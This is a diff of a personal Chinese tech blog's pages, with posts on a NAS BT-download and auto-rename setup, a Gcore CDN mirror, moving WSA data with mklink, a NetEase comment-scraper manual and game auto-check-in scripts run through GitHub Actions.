为什么要把信息作为统计数据发到统计服务器? 统计服务器已关闭,本条目已失效

因为我手头上的信息实在太少了,而且按照米忽悠的习惯,他们的数据如果没有庞大的数据量的话很难分析出一个所以然来,所以我这里需要大量的数据。如果你不想共享你的数据,请将配置中的analytics设置为false

+

SCF版本出现报错

报错内容为:wait_time = random(1, 300) # Random wait time TypeError: 'module' object is not callable

+

更新一下脚本就好了,在commit1665099已经修好了(感谢@Elletear发现这个问题并提交PR#5

+

KeepActionAlive运行失败(权限不足)

具体如图所示,这个要得益于昨天Github的一个更新GitHub Actions - Updating the default GITHUB_TOKEN permissions to read-only | GitHub Changelog

+

+

在仓库里面点击Settings => Actions => General,往下拉找到Workflow permissions,把原来的Read repository contents and packages permissions改为上面的Read and write permissions,然后点击下面的Save键就可以了

+

+

发现了bug/无法使用

请前往Issues · GamerNoTitle/MHYY (github.com)发起新的issue来提出,不要在本页面的评论区提出问题(因为追踪性太差了)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/MHYY-AutoCheckin-Manual/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Make-Synology-NAS-to-BT-Downloader/index.html b/posts/Make-Synology-NAS-to-BT-Downloader/index.html new file mode 100644 index 0000000000..155309cfb7 --- /dev/null +++ b/posts/Make-Synology-NAS-to-BT-Downloader/index.html @@ -0,0 +1,306 @@ +把群晖打造成BT自动下载服务器 | GamerNoTitle + + + + + + + + + + + + + + + +

把群晖打造成BT自动下载服务器

前几天不是把家里的小霸王给改造成了NAS嘛,然后本来就是想架个EMBY然后在家里直接就看番了的,找了一圈发现BT下载是比较好用的,结果下载下来文件名格式又不一样,不符合EMBY的解析要求,于是就有了这篇文章

+
+

找种子

我推荐用蜜柑计划 - Mikan Project (mikanani.me)

+

虽然有时候上不去,但是资源是全的,速度也很不错,可以试试

+

配置下载

我一开始用的qbitorrent(群晖套件版的),但是那个配置起来超级麻烦,而且发现RSS订阅后不会自动下载(不知道是我的问题还是啥)

+

+

然后我记得群晖里有一个自带的Download Station,启动后发现其实它是支持BT下载的

+

我们找到Download Station,然后打开RSS,在里面添加我们的RSS链接

+

我这里选的是那种分集用[]给括起来的字幕组(好正则匹配,后面会说为什么要re匹配),直接加进去就行了

+

然后在下面下载过滤器新建一个过滤器,根据自己的需要填写过滤规则

+

+

设置完后,记得在RSS Feeds里面,把之前已经发出来的剧集先根据自己的需要下载好

+

自动重命名

因为EMBY需要AnimeName SxxExx这样的命名格式,但是字幕组发布的资源命名通常都是乱的,所以我们需要配置一个自动重命名

+

我先写好了一个Python程序,放在/volume1/Storage/AutoRename/AutoRename.py里面(路径可以自己进SSH去找),内容如下

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import sys
import re
import time
import shutil

##### 初始化参数 #####

# 工作目录
workdir = '/volume1/Animes'

# 排除目录
ignoredir = [
'@eaDir',
'#recycle'
]

# 日志目录
logdir = '/volume1/Storage/log/synoscheduler/3'

# 日志保留时长(时间戳差,自己去算)【604800 7天】
logpreserve = 604800

# 更改工作目录
os.chdir(workdir)

# 排除目录函数
def RemoveIgnoreDirs(src: list, ignores: list) -> None:
for ignore in ignores:
try:
src.remove(ignore)
except Exception:
pass

# 移除保留时长外的log文件夹的函数
def RemovePreviousLog(src: list, logpreserve: int) -> None:
toRemove = False
loglist = os.listdir(src)
now = int(time.time())
for log in loglist:
try: logtime = int(log)
except Exception as e:
print(f'{e} when removing {logdir}/{log}')
continue
if now - logtime > logpreserve:
toRemove = True
shutil.rmtree(f'{logdir}/{log}')
print(f'Removed {logdir}/{log}')
if not toRemove:
print('Nothing to remove.')

if __name__ == '__main__':
print(f'{" Renameing Animes ":=^60}')
# 获取目录下所有番剧的名字
animes = os.listdir()
RemoveIgnoreDirs(animes, ignoredir)
for anime in animes:
# 获取番剧的季信息
seasons = os.listdir(f'./{anime}')
RemoveIgnoreDirs(seasons, ignoredir)
for season in seasons:
# 获取番剧每一话
episodes = os.listdir(f'./{anime}/{season}')
RemoveIgnoreDirs(episodes, ignoredir)
for episode in episodes:
try:
episode_num = str(re.search(r'\[[0-9][0-9](\.)?[0-9]?(v)?[0-9]?集?\]', episode).group()).replace('[', '').replace(']', '').replace('v2', '').replace('集', '')
except AttributeError:
print(f'No matching pattern on "{episode}"')
continue
filetype = episode.split('.')[-1]
filename = f'{anime} {season}E{episode_num}.{filetype}'
print(f'Renaming "{episode}" -> {filename}')
os.rename(f'./{anime}/{season}/' + episode, f'./{anime}/{season}/' + filename)
# 移除保留期限外的日志
print(f'\n{" Removing old logs ":=^60}')
RemovePreviousLog(logdir, logpreserve)
# 结束提示
print(f'\n{" Done ":=^60}\n')
+ +

这就是为什么选择字幕组的时候我选了分集号用中括号[]括起来的原因

+

接着我们打开群晖的控制面板,找到任务计划,新建一个任务

+

点击新增 -> 用户定义的脚本 根据自己的需要创建即可,一开始在任务名称里面会写Task x,这个x就是你的任务号,群晖的任务log会保存在<你指定的目录>/synoscheduler/<ID>这样的位置,所以这个ID记得记下来然后把脚本里面的ID改掉

+

保存后群晖就会自动执行重命名任务了,当EMBY进行扫描的时候,扫描到命名正确的文件就会自动加入媒体库了

+

注:EMBY媒体库的结构举例(也是我这个脚本适合的目录结构)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
W:.
├─为美好的世界献上爆焰!
│ └─S01
│ 为美好的世界献上爆焰! S01E01.mp4
│ 为美好的世界献上爆焰! S01E02.mp4

├─勇者死了
│ └─S01
│ 勇者死了 S01E01.mp4
│ 勇者死了 S01E02.mp4

├─总之就是非常可爱
│ └─S02
│ 总之就是非常可爱 S02E01.mp4
│ 总之就是非常可爱 S02E02.mp4

├─我推的孩子
│ └─S01
│ 我推的孩子 S01E01.mp4
│ 我推的孩子 S01E02.mp4

├─第二次被异世界召唤
│ └─S01
│ 第二次被异世界召唤 S01E01.mp4
│ 第二次被异世界召唤 S01E02.mp4

└─英雄联盟:双城之战
└─S01
英雄联盟:双城之战 S01E01.mp4
英雄联盟:双城之战 S01E02.mp4
英雄联盟:双城之战 S01E03.mp4
英雄联盟:双城之战 S01E04.mp4
英雄联盟:双城之战 S01E05.mp4
英雄联盟:双城之战 S01E06.mp4
英雄联盟:双城之战 S01E07.mp4
英雄联盟:双城之战 S01E08.mp4
英雄联盟:双城之战 S01E09.mp4
+ +
Author: GamerNoTitle
Link: https://bili33.top/posts/Make-Synology-NAS-to-BT-Downloader/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Making-GUI-with-PyQt5/index.html b/posts/Making-GUI-with-PyQt5/index.html new file mode 100644 index 0000000000..793948b921 --- /dev/null +++ b/posts/Making-GUI-with-PyQt5/index.html @@ -0,0 +1,286 @@ +使用Python和Qt5来制作带有GUI的程序(持续更新) | GamerNoTitle + + + + + + + + + + + + + +

使用Python和Qt5来制作带有GUI的程序(持续更新)

我还是向我不熟悉的领域发起了挑战——制作GUI

+

印象中我做GUI只有在MIT App Inventor (gzjkw.net)Visual Basics里面做过(下图为以前拿去参赛的作品,获得了省三),而且VB很久都没用过了

+

+

这回主要是创新项目的需要,要做一个带有GUI的附属程序,所以我研究起了怎么做GUI

+

我用的是比较知名的Qt5这个东西(本来还尝试过dearpygui Tkinker pygame之类的,但是因为感觉太繁琐了就不用了)

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Making-GUI-with-PyQt5/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Migrate-jsdelivr-mirror-to-Gcore/index.html b/posts/Migrate-jsdelivr-mirror-to-Gcore/index.html new file mode 100644 index 0000000000..0f914e42bf --- /dev/null +++ b/posts/Migrate-jsdelivr-mirror-to-Gcore/index.html @@ -0,0 +1,330 @@ +将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用 | GamerNoTitle + + + + + + + + + + + + + + + +

将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用

+ +

+

这几天一直在弄点其他的东西,昨天弄了个哔哩漫游的服务器(用的vercel),然后一看我的vercel的流量使用,这才多久就已经60G了,一个月的限额可是100G

+

+

让我想起上次我的服务被打,一天就区队去掉了150G,vercel直接给我报警,我就在想有没有其他的代替方案

+

+

+

虽然Vercel会判定为DDoS攻击,但是确实很恼人,而且流量没了以后Vercel是会闹脾气的,上次跟群友(就ClientWorker | 一个基于规则驱动的前端路由拦截器的维护者)讨论过这个问题,然后说建议弄个缓存,不过我对Vercel没有研究的多仔细,所以就没弄了

+

今天突然想到可以用Gcore,它有类似于CloudFlare的CDN服务,而且还挺快的,说干就干!

+
+

战前准备

    +
  • Gcore账号
  • +
  • 自己的域名
  • +
  • 脑子
  • +
+

创建CDN资源

首先我们在左侧找到CDN,然后新建一个资源

+

+

加速类型我们选择第二个(第一个要改的东西太多了而且设置很麻烦还是算了吧)

+

+

第二步是设置源站和自定义域名,源站就直接填入cdn.jsdelivr.net,自定义域名就填自己的域名就好了,HTTPS打开,然后选择第一个Get free Let's Encrypt certificate

+

这里有个坑:如果你要使用自己的证书,不要用Cloudflare的SSL里面颁发的证书,没有Cloudflare小云朵的庇护的话那个证书是无效的!(这个坑了我至少半小时)

+

+

接着我们去DNS那里加一条记录(这里CNAME是跟账户绑定的,我的我自己用*屏蔽了)

+

+

后面直接确认过去就好了,要用CDN的话直接将资源文件的域名改为你的自定义域名

+

修改设置

这里有几个要改的设置

+

Origin pull protocol

这个是修改为源的协议就行了,如果你的源站,支持啥就选啥,因为jsd支持HTTPHTTPS所以我直接选择了第三个

+

+

Custom domain

这里可以添加自己的自定义域名,具体不讲,添加CDN资源的时候应该都加完了

+

CDN caching

这里设置CDN的缓存时间,按照自己的需求设置

+

Redirection from origin

这个很重要!!!如果不打开的话,访问的用户遇到重定向会直接重定向到指向的链接,打开的话CDN这边就会获取重定向后的内容然后返回给用户。因为jsd重定向到raw.githubcontent.com,这个国内会404,所以如果是jsd的反代的话一定要打开,下面的状态码直接全部选上就行了

+

+

Browser caching

这个用来控制浏览器端的缓存,根据自己的需要设置

+

Redirect HTTP to HTTPS

重定向到HTTPS,懂得都懂

+

GZip compression

这个是启用压缩,如果开了的话经过CDN的内容会压缩,省流

+

Response headers (add)

可以添加自定义headers,我这里加的东西如图

+

+

显示如下

+

+

Response headers (hide)

可以隐藏某些headers项,但是我想不到有啥用

+

Downlaod speed limit

设置下载速度,应该没啥用

+

Basic WAF

这个还处于Beta测试,说白了就是添多一层WAF

+

修改规则

在RULES选项卡(左边)可以到规则页面,可以添加自己的规则。我这里是什么都没有加,到时候封仓库的时候再用

+

+

总结

这是我第一次用真正意义上的CDN,Gcore还是挺好用的,速度也很快,一个月有1T的流量,应该够用了吧……

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Migrate-jsdelivr-mirror-to-Gcore/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/Move-your-wsa-data/index.html b/posts/Move-your-wsa-data/index.html new file mode 100644 index 0000000000..df41a693af --- /dev/null +++ b/posts/Move-your-wsa-data/index.html @@ -0,0 +1,295 @@ +移动你的WSA数据盘,让你的C盘不再爆满 | GamerNoTitle + + + + + + + + + + + + + + +

移动你的WSA数据盘,让你的C盘不再爆满

WSA确实是个很好用的东西,毕竟能够直接跑上安卓系统,不用忍受模拟器那种广告,很方便

+

但是同样也带来了一些问题就是:你的C盘会爆满

+

+

这主要是因为WSA的数据盘都放在了C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\这个目录下,我的数据盘经过我的半年使用已经到了34.3GB了,然后就导致了我的C盘像上面那张图那样要炸了

+

+

我记得Linux里面有ln命令可以创建文件链接,然后Windows有个叫做mklink的(仅cmd可用,powershell没有,我踩了这个坑),之前为了让Epic和Steam的GTA5都可用还用过来着,这不用这个方法把数据移到其他硬盘里

+

我把文件放在了D:\WSA-data这个文件夹里,连着C:\Users\%username%\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache\LocalCache文件夹整个放进去

+

+

然后按Windows + X,选择Windows 终端(管理员)(选择powershell或者cmd都行,但是一定要有管理员权限

+

然后打入下面这行命令(记得把后面的那个路径改成你自己的)

+
1
mklink /J "C:\Users\GamerNoTitle\AppData\Local\Packages\MicrosoftCorporationII.WindowsSubsystemForAndroid_8wekyb3d8bbwe\LocalCache" "D:\WSA-data\LocalCache"
+ +

然后我们的文件链接就创建成功了,打开WSA,一切正常!

+
Author: GamerNoTitle
Link: https://bili33.top/posts/Move-your-wsa-data/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/My-Office365-is-Down/index.html b/posts/My-Office365-is-Down/index.html new file mode 100644 index 0000000000..f828f6c723 --- /dev/null +++ b/posts/My-Office365-is-Down/index.html @@ -0,0 +1,288 @@ +我被微软算账了π_π | GamerNoTitle + + + + + + + + + + + + + +

我被微软算账了π_π

先上张图……

+

+

没错,这一轮是强制过期,我的邮件上次还跟我说续费到**7/12/2023 (UTC)**,就……很难受

+

发现这个问题还是群里面有人说了我才知道的,赶紧用其他的outlook账号开个新的订阅然后把数据转移过去

+

数据转移我用的是mover.io,微软官方其实也有转移的东西但是我没去研究,mover之前跟微软合作所以就一直在用了,结果跑了一个晚上没跑完

+

+

有人说是使用了qyi.io的e5续订服务的原因,这个也不清楚,我现在在telegram上看到的都说是随机的,不过我确实两个订阅都寄了,这个确实没办法

+
Author: GamerNoTitle
Link: https://bili33.top/posts/My-Office365-is-Down/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
avatar
GamerNoTitle
是大学生,也是个人开发者,在CTF领域学习中
Follow Me
Announcement

本站使用哔哩CDN进行加速

+
\ No newline at end of file diff --git a/posts/Netease-Comment-Spider/index.html b/posts/Netease-Comment-Spider/index.html new file mode 100644 index 0000000000..5334fe76ce --- /dev/null +++ b/posts/Netease-Comment-Spider/index.html @@ -0,0 +1,346 @@ +Netease-Comment-Spider 网易云音乐热评爬虫使用手册 | GamerNoTitle + + + + + + + + + + + + + + + +

Netease-Comment-Spider 网易云音乐热评爬虫使用手册

今天有人申请适配网易云音乐热评的api,反正也没啥事干,就做一个吧!

+

如果你想看使用手册,那么请你直接往下拉跳过制作过程

+

观前提示:可以点击左下角点开导航栏阅读,项目地址:https://github.com/GamerNoTitle/Netease-Comment-Spider

+
+

制作过程

本程序是调用的https://www.mouse123.cn/api/163/api.php这个api,会返回很多数据,下面是一个返回的例子

+
1
{"song_id":"118","title":"Wolves","images":"https:\/\/p1.music.126.net\/-nQ2E-8ZjuwGtMipBTYzBw==\/17902248323721194.jpg","author":"Selena Gomez","album":"Wolves","description":"\u6b4c\u624b\uff1aSelena Gomez\u3002\u6240\u5c5e\u4e13\u8f91\uff1aWolves\u3002","pub_date":"2017-10-24 16:00:00","comment_id":"1510","comment_user_id":"333845131","comment_nickname":"Stroyberry","comment_avatar_url":"https:\/\/p2.music.126.net\/D7Z2xViXVpB7xH3m5NxDIw==\/109951164448917887.jpg","comment_content":"\ud83d\udc95\u5bf9\u65b0\u6b4c\u6709\u8bf4\u4e0d\u51fa\u7684\u611f\u89c9\uff0csel\u7684\u58f0\u97f3\u8f7b\u5feb\u5374\u53c8\u5f88\u968f\u6027\uff0c\u50cf\u662f\u8ffd\u72fc\u5374\u53c8\u9a7e\u9a6d\u7740\uff0c\u5b8c\u7f8e\u7684future bass\u8ba9\u4f60\u65e0\u6cd5\u81ea\u62d4\u554a\uff01sel\u548c\u68c9\u82b1\u7cd6\u8fd9\u6837\u795e\u7ea7\u7684\u78b0\u649e\ud83d\udca5\u8ba9\u4eba\u7a92\u606f\uff01\u5feb\u5e26\u4e0a\u8033\u673a\ud83c\udfa7\uff01\u95ed\u4e0a\u773c\u775b\uff01\u4e00\u8d77\u7a7f\u68ad\u4e8e\u4e1b\u6797\u4e4b\u4e2d\ud83d\ude0f","comment_pub_date":"2017-10-26 22:23:26"}
+ +

这个返回的数据看上去很复杂,但是分析一下,返回的还是json格式,那么这个东西的解析就跟一言的那个项目是一样的,根据上面的信息,我把config.json的可选配置分成了以下几个

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"path": "Netease.csv",
"times": 100,
"delay": 0,
"timeout": 60,
"song_id": false,
"images": false,
"album": false,
"description": false,
"pub_date": false,
"comment_user_id": false,
"comment_avatar_url": false,
"comment_pub_date": false
}
+ +

path为文件输出的路径,文件以csv格式输出,请务必带文件后缀!

+

times为抓取次数,支持大于0的整数,直接输入数字即可!

+

delay表示抓取一次得到结果以后等待的时长,为了不给api提供商造成太大的服务器负担,我强烈建议设置此项,填入大于等于0的整数即可,单位是秒

+

timeout表示连接超时时长,支持大于5的整数

+

song_id为歌曲的id,如果开启将把歌曲id写入csv文档,只支持true或false

+

images表示是否抓取图片,这是专辑封面,将保存到".\albums"文件夹并命名为对应的评论ID,只支持true或false

+

album表示歌曲来源专辑,如果开启将把专辑名写入csv文件,只支持true或false

+

description表示歌曲的描述,如果开启将把描述写入csv文件,只支持true或false

+

pub_date表示歌曲发行的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

+

comment_user_id表示评论的用户的id,如果开启将把id写入csv文档,只支持true或false

+

comment_avatar_url表示评论用户的头像,如果开启将把头像存瑞.\avatars文件夹并命名为对应的评论ID,只支持true或false

+

comment_pub_date表示评论发布的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

+

搞定可选配置以后,把一言的那个项目拿过来当模板,然后把变量名称往里面套,很快就做好了一个程序。但是这个api返回的数据还是有些不一样的,其中就返回了专辑封面的URL评论用户的头像URL,这两个URL可以让我们获取到相应的图片

+

另外,这个api返回的编码格式是Unicode,与一言直接返回中文不一样,我本来想做一个Unicode直接转成gbk保存的功能,但是最后只能以UTF8保存(有能做出相应功能的大佬欢迎提交PR)

+

我使用了requests直接获取图片的二进制码,然后将其写入一个文件来达到保存功能,具体实现方式如下:

+
1
2
3
4
5
6
7
8
9
10
if(conf['images']):
print("正在保存专辑封面……")
image = r.get(data['images']).content
with open('./images/' + data['comment_id'] + '.jpg', 'wb') as f:
f.write(image)
if(conf['comment_avatar_url']):
print("正在保存评论用户头像……")
image = r.get(data['comment_avatar_url']).content
with open('./avatars/' + data['comment_id'] + '.jpg', 'wb') as f:
f.write(image)
+ +

这样就可以保存图片了,但是对应的文件夹不能够删除,否则会出现找不到文件的BUG~

+
+

使用手册

基本功能

基本功能就有从api获取对应的信息,并将其存入csv文件,固定有的信息是comment_idcomment_usernametitleauthorcomment_content这几个信息,另外可选的在config.json中进行修改

+

输出的csv文件目前是以UTF8的编码保存的,如果想要在Excel中查看,你需要使用vscode之类的文本编辑器更改保存的编码方式为gbk才能够在Excel中查看,否则会乱码

+

可选配置

克隆了代码以后,在目录下有一个config.json文件,在config.json文件可以对选项进行启用

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"path": "Netease.csv",
"times": 100,
"delay": 0,
"timeout": 60,
"song_id": false,
"images": false,
"album": false,
"description": false,
"pub_date": false,
"comment_user_id": false,
"comment_avatar_url": false,
"comment_pub_date": false
}
+ + + +

path为文件输出的路径,文件以csv格式输出,请务必带文件后缀!

+

times为抓取次数,支持大于0的整数,直接输入数字即可!

+

delay表示抓取一次得到结果以后等待的时长,为了不给api提供商造成太大的服务器负担,我强烈建议设置此项,填入大于等于0的整数即可,单位是秒

+

timeout表示连接超时时长,支持大于5的整数

+

song_id为歌曲的id,如果开启将把歌曲id写入csv文档,只支持true或false

+

images表示是否抓取图片,这是专辑封面,将保存到".\albums"文件夹并命名为对应的评论ID,只支持true或false

+

album表示歌曲来源专辑,如果开启将把专辑名写入csv文件,只支持true或false

+

description表示歌曲的描述,如果开启将把描述写入csv文件,只支持true或false

+

pub_date表示歌曲发行的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

+

comment_user_id表示评论的用户的id,如果开启将把id写入csv文档,只支持true或false

+

comment_avatar_url表示评论用户的头像,如果开启将把头像存瑞.\avatars文件夹并命名为对应的评论ID,只支持true或false

+

comment_pub_date表示评论发布的时间,如果开启将把时间写入csv文档,格式为YYYY-MM-DD HH:MM:SS,只支持true或false

+

上面这些参数根据自己的需要进行设置即可!需要注意的是如果开启了imagescomment_avatar_url选项那么不能够删除avatarsimages文件夹,否则会报错!!!

+

Q & A

Q: [Errno 2] No such file or directory

如果你在使用本程序的时候出现了以下错误:

+
1
2
3
4
5
Traceback (most recent call last):
File "main.py", line 107, in <module>
with open('images/' + data['comment_id'] + '.jpg', 'wb') as f:
FileNotFoundError: [Errno 2] No such file or directory: 'images/xxx.jpg'
# 此处xxx应为某一个数字
+ +

A: 请你检查是否删除了avatars文件夹或images文件夹!

+
+
Q: KeyboardInterrupt

如果你在使用本程序的时候出现了以下错误:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Traceback (most recent call last):
File "main.py", line 50, in <module>
res = r.get("https://www.mouse123.cn/api/163/api.php",timeout=timeout) # 调用api
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\api.py", line 75, in get
return request('get', url, params=params, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\requests\adapters.py", line 439, in send
resp = conn.urlopen(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 665, in urlopen
httplib_response = self._make_request(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 376, in _make_request
self._validate_conn(conn)
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connectionpool.py", line 994, in _validate_conn
conn.connect()
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connection.py", line 300, in connect
conn = self._new_conn()
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\connection.py", line 156, in _new_conn
conn = connection.create_connection(
File "C:\Users\bili33\AppData\Local\Programs\Python\Python38\lib\site-packages\urllib3\util\connection.py", line 74, in create_connection
sock.connect(sa)
KeyboardInterrupt
+ +

A: 请你检查在程序运行的过程中是否有键盘的操作,例如Ctrl+C之类的操作!

+
+
Q: requests.exceptions.SSLError
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\contrib\pyopenssl.py", line 453, in wrap_socket
cnx.do_handshake()
File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1915, in do_handshake
self._raise_ssl_error(self._ssl, result)
File "C:\ProgramData\Anaconda3\lib\site-packages\OpenSSL\SSL.py", line 1639, in _raise_ssl_error
raise SysCallError(errno, errorcode.get(errno))
OpenSSL.SSL.SysCallError: (10060, 'WSAETIMEDOUT')

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 600, in urlopen
chunked=chunked)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 343, in _make_request
self._validate_conn(conn)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 839, in _validate_conn
conn.connect()
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connection.py", line 344, in connect
ssl_context=context)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\util\ssl_.py", line 344, in ssl_wrap_socket
return context.wrap_socket(sock, server_hostname=server_hostname)
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\contrib\pyopenssl.py", line 459, in wrap_socket
raise ssl.SSLError('bad handshake: %r' % e)
ssl.SSLError: ("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')",)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\adapters.py", line 449, in send
timeout=timeout
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\connectionpool.py", line 638, in urlopen
_stacktrace=sys.exc_info()[2])
File "C:\ProgramData\Anaconda3\lib\site-packages\urllib3\util\retry.py", line 398, in increment
raise MaxRetryError(_pool, url, error or ResponseError(cause))
urllib3.exceptions.MaxRetryError: HTTPSConnectionPool(host='p2.music.126.net', port=443): Max retries exceeded with url: /gxo54B2ypqq0Y6tmahBnIw==/109951163596240238.jpg (Caused by SSLError(SSLError("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')")))

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "main.py", line 77, in <module>
image = r.get(data['images']).content
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\api.py", line 75, in get
return request('get', url, params=params, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\api.py", line 60, in request
return session.request(method=method, url=url, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\sessions.py", line 533, in request
resp = self.send(prep, **send_kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\sessions.py", line 646, in send
r = adapter.send(request, **kwargs)
File "C:\ProgramData\Anaconda3\lib\site-packages\requests\adapters.py", line 514, in send
raise SSLError(e, request=request)
requests.exceptions.SSLError: HTTPSConnectionPool(host='p2.music.126.net', port=443): Max retries exceeded with url: /gxo54B2ypqq0Y6tmahBnIw==/109951163596240238.jpg (Caused by SSLError(SSLError("bad handshake: SysCallError(10060, 'WSAETIMEDOUT')")))

+ +

这种情况是握手失败导致的,请检查网络连接!

+
+

欢迎提交PR!

Author: GamerNoTitle
Link: https://bili33.top/posts/Netease-Comment-Spider/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信
  • 支付宝
    支付宝

Comment
\ No newline at end of file diff --git a/posts/NeteaseCloudGameFree/index.html b/posts/NeteaseCloudGameFree/index.html new file mode 100644 index 0000000000..6774a4b3ee --- /dev/null +++ b/posts/NeteaseCloudGameFree/index.html @@ -0,0 +1,356 @@ +白嫖?给我也整一个!白嫖网易云游戏平台时长 | GamerNoTitle + + + + + + + + + + + + + + + + +

白嫖?给我也整一个!白嫖网易云游戏平台时长

网易云游戏平台

+

有谁不爱白嫖呢,特别是配置好的东西

+

网易云游戏平台我在它内测期间用过,那个时候游戏变动太大(指可玩的游戏下周就变得不一样了),然后就放弃了

+

几个月前不是原神公测了嘛,就发现这个平台有原神(主要是自己手机玩不动),所以就开始该平台的使用

+

但是!!!它每天只有120~180分钟的游戏时长(不签到120mins,签到不等),而且电脑游戏的时长是累计制的,不签到就等于没有!!!

+

于是,我开始了我的白嫖之旅……我写了一个自动签到脚本,用Github Action帮我运行,就可以自动签到了!(耶~~~)

+

你可以在Github搜索wyycg-autocheckin找到这个脚本,也可以直接访问https://github.com/GamerNoTitle/wyycg-autocheckin来获取使用

+
+

本脚本通过使用Github Action来进行网易云游戏签到操作,让你能够天天白嫖网易云游戏时长和云电脑!

+

喜欢就给我点个STAR吧!

+

签到时间是早上10点,如果有需要就自己修改.github/workflows/AutoSignin.yml中第12行的时间,时间遵循UTC时间,+8才是我们的时间

+

请不要使用非master分支脚本,他们通常正在开发新功能,会有BUG出现

+

关于签到失败返回的结果(这里有实例),如果你有解码的经验,可以前往这里提供帮助,Thanks♪(・ω・)ノ

+

赞助

点击下面的Badge其中一个就可以跳转到相应页面,感谢老板的支持!

+

前往爱发电赞助 使用微信赞助 使用支付宝赞助

+

目录

+

使用方法

变量添加

1、Fork本仓库,按右上角的分支按钮(如图)

+

+

2、进入设置,设置变量cookieteleid teletoken SCKEY QQKEY PPKEY(这五个可选,但是teleidteletoken要用的话就得两个都要配置!)

+

请注意:你无需在仓库的secrets内设置名为GITHUB_TOKEN的变量,该名称本身就是指定为自己账户下名为GITHUB_TOKEN的密钥,如果你在仓库的secrets内设置将会被Github提示无效

